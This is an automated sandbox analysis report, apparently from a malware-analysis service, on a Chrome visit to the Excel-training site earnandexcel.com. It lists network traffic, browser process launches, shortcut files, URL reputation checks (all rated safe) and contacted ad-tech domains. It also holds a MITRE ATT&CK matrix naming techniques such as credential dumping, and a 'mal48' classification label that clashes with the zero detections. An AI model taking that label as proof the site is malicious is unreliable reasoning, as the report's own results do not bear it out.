Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50868
Source: unknown	Network traffic detected: HTTP traffic on port 51353 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50862
Source: unknown	Network traffic detected: HTTP traffic on port 51834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 51056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50879
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443

Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.17:49874 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.76.104.139:443 -> 192.168.2.17:50052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.76.104.139:443 -> 192.168.2.17:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.17:50963 version: TLS 1.2

Source: classification engine

Classification label: mal48.win@149/1240@873/100

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://earnandexcel.com/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1952,i,17442053902147232881,15647161447452919050,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6624 --field-trial-handle=1952,i,17442053902147232881,15647161447452919050,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1952,i,17442053902147232881,15647161447452919050,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6624 --field-trial-handle=1952,i,17442053902147232881,15647161447452919050,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://earnandexcel.com	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://sync.ipredictive.com/d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent=	0%	URL Reputation	safe
https://sync.ipredictive.com/d/sync/cookie/generic?https://eb2.3lift.com/xuid?mid=3702&xuid=${ADELPHIC_CUID}&dongle=d54f&gdpr=0&gdpr_consent=	0%	URL Reputation	safe
https://earnandexcel.com/wp-content/uploads/elementor/css/post-27949.css	0%	Avira URL Cloud	safe
https://earnandexcel.com/course-category/career/	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/uploads/Coca-Cola.png'><img	0%	Avira URL Cloud	safe
https://s.company-target.com/s/tlx?redir=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D8804%26xuid%3D%7Bxuid%7D%26dongle%3D6aix	0%	Avira URL Cloud	safe
about:blank	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-includes/js/wp-util.min.js	0%	Avira URL Cloud	safe
https://ads.scorecardresearch.com/p?c1=9&c2=13554685&c3=2&rn=1712870891&cs_xi=333ff547-5277-49f2-ad2b-d1a54c54e28a	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/plugins/elementor/assets/lib/font-awesome/css/v4-shims.min.css	0%	Avira URL Cloud	safe
https://to.getnitropack.com/ping/unalive/1712870848613ailcu0lkaxh	0%	Avira URL Cloud	safe
https://event.hgrtb.com/sync/triplelift?redir=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D7666%26xuid%3Dmfuid%26dongle%3D8f7	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/uploads/Excel-VBA-2-2-480x304.jpg	0%	Avira URL Cloud	safe
https://earnandexcel.com/profile/tayyabs?view=student	0%	Avira URL Cloud	safe
https://earnandexcel.com/courses/google-ads/	0%	Avira URL Cloud	safe
https://sync.intentiq.com/profiles_engine/ProfilesEngineServlet?at=20&dpi=1709765917&mi=10&csh=793790479&rnd=104120937&pcid=4283912458326592098	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/uploads/PowerPivot-1-480x304.jpg	0%	Avira URL Cloud	safe
https://s.company-target.com/s/eqx?sspurl=https%3A%2F%2Frtb-csync.smartadserver.com%2Fredir%2F%3Fissi%3D1%26partnerid%3D152%26partneruserid%3DPARTNER_USER_ID&gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/plugins/link-whisper-premium/js/frontend.js	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/plugins/tutor-lms-elementor-addons/assets/js/tutor-elementor.js	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-json/wp/v2/pages/706	0%	Avira URL Cloud	safe
https://earnandexcel.com/blog/how-to-clear-data-validation-in-excel-a-comprehensive-guide/	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/themes/edumall/assets/libs/perfect-scrollbar/css/custom-theme.cs	0%	Avira URL Cloud	safe
https://earnandexcel.com/power-pivot-course/	0%	Avira URL Cloud	safe
https://earnandexcel.com/blog/how-to-find-the-p-value-in-excel-understanding-p-value/	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-includes/js/tinymce/plugins/compat3x/plugin.min.js	0%	Avira URL Cloud	safe
https://earnandexcel.com/blog/how-to-add-a-comma-to-every-cell-in-excel-simplifying-data-presentatio	0%	Avira URL Cloud	safe
https://earnandexcel.com/xmlrpc.php?rsd	0%	Avira URL Cloud	safe
https://earnandexcel.com/course-category/accounting/?tutor-course-filter-category=16698	0%	Avira URL Cloud	safe
https://oa.openxcdn.net/esp.js	0%	Avira URL Cloud	safe
https://earnandexcel.com/the-analyst-program/	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-includes/js/shortcode.min.js	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/plugins/elementor/assets/js/preloaded-modules.min.js	0%	Avira URL Cloud	safe
https://pdmp.dcapi.tagger.opecloud.com/web/visit?fpid=206267d9-9ab6-4813-85fd-6fa35eafc3ec	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/plugins/elementor/assets/js/frontend.min.js	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/plugins/tutor-lms-elementor-addons/assets/css/slick-theme.css	0%	Avira URL Cloud	safe
https://rtb.adentifi.com/CookieSyncTripleLift?gdpr=0&gdpr_consent=	0%	Avira URL Cloud	safe
https://client-rapi-mediavine.recombee.com/mediavine-prod/recomms/users/fc09ead0-b52e-43d4-b0cf-67a3b0dd234d/items/?frontend_timestamp=1712870820&frontend_sign=128e542a00131568b6cd8e63446b01a96c6a2411	0%	Avira URL Cloud	safe
https://earnandexcel.com/courses/power-bi/	0%	Avira URL Cloud	safe
https://earnandexcel.com/machine-learning-course/	0%	Avira URL Cloud	safe
https://earnandexcel.com/wp-content/uploads/How-to-Create-a-Rotating-Schedule-in-Excel.png	0%	Avira URL Cloud	safe
https://earnandexcel.com/#website	0%	Avira URL Cloud	safe
https://earnandexcel.com/course-category/microsoft-excel/?tutor-course-filter-category=16702	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
um.simpli.fi	35.236.220.17	true	false	high
rtb-csync-use1.smartadserver.com	23.105.12.121	true	false	high
e.chicoryapp.com	34.36.130.12	true	false	unknown
global.px.quantserve.com	192.184.68.215	true	false	high
d3tuxsry9bjjlg.cloudfront.net	13.226.34.110	true	false	high
us-east-eb2.3lift.com	35.71.139.29	true	false	high
rtb.openx.net	35.186.253.211	true	false	high
bttrack.com	192.132.33.68	true	false	unknown
dcs-public-edge-va6-158015560.us-east-1.elb.amazonaws.com	34.204.28.10	true	false	high
crb.kargo.com	3.209.218.8	true	false	high
openrtb-dc11.axonix.com	155.204.117.12	true	false	high
sync.intentiq.com	108.139.47.93	true	false	unknown
id.rlcdn.com	35.244.154.8	true	false	high
bcp.crwdcntrl.net	44.195.233.246	true	false	high
match.adsrvr.org	35.71.131.137	true	false	high
rtactivateloadbalancer-2076579973.us-east-1.elb.amazonaws.com	44.208.175.93	true	false	high
creativecdn.com	185.184.8.90	true	false	high
pagead-googlehosted.l.google.com	142.250.65.225	true	false	high
pugm-vac.pubmnet.com	8.28.7.81	true	false	unknown
server.cpmstar.com	131.153.172.94	true	false	high
m.deepintent.com	169.197.150.7	true	false	unknown
pixel-sync.sitescout.com	34.36.216.150	true	false	high
d1ykf07e75w7ss.cloudfront.net	108.138.115.149	true	false	high
to.getnitropack.com	172.64.150.163	true	false	unknown
ssum-sec.casalemedia.com	172.64.151.101	true	false	high
oajs.openx.net	34.120.135.53	true	false	high
oxp.mxptint.net	38.98.69.175	true	false	unknown
exchange.journeymv.com	54.86.59.69	true	false	unknown
config.aps.amazon-adsystem.com	108.138.106.70	true	false	high
fastly-tls12-bam.nr-data.net	162.247.243.29	true	false	unknown
hb.yahoo.net	23.40.179.187	true	false	high
sda.fyi	172.67.164.44	true	false	unknown
hde.tynt.com	67.202.105.33	true	false	high
pghub.io	35.241.45.217	true	false	unknown
scontent.xx.fbcdn.net	31.13.71.7	true	false	high
fresnel.vimeocdn.com	34.120.202.204	true	false	high
script.hotjar.com	18.164.96.87	true	false	high
api.rlcdn.com	34.107.165.188	true	false	high
pdmp.profiles.tagger.opecloud.com	34.239.40.49	true	false	unknown
rtb.adentifi.com	18.206.144.25	true	false	unknown
synchroscript.deliveryengine.adswizz.com	18.238.55.15	true	false	high
pixel.tapad.com	34.111.113.62	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
sync-dmp.mobtrakk.com	5.161.187.67	true	false	unknown
gob-pairb-nje1.pubmnet.com	207.65.37.179	true	false	unknown
raptor-prd-ue1-alb-1693497337.us-east-1.elb.amazonaws.com	3.232.70.209	true	false	high
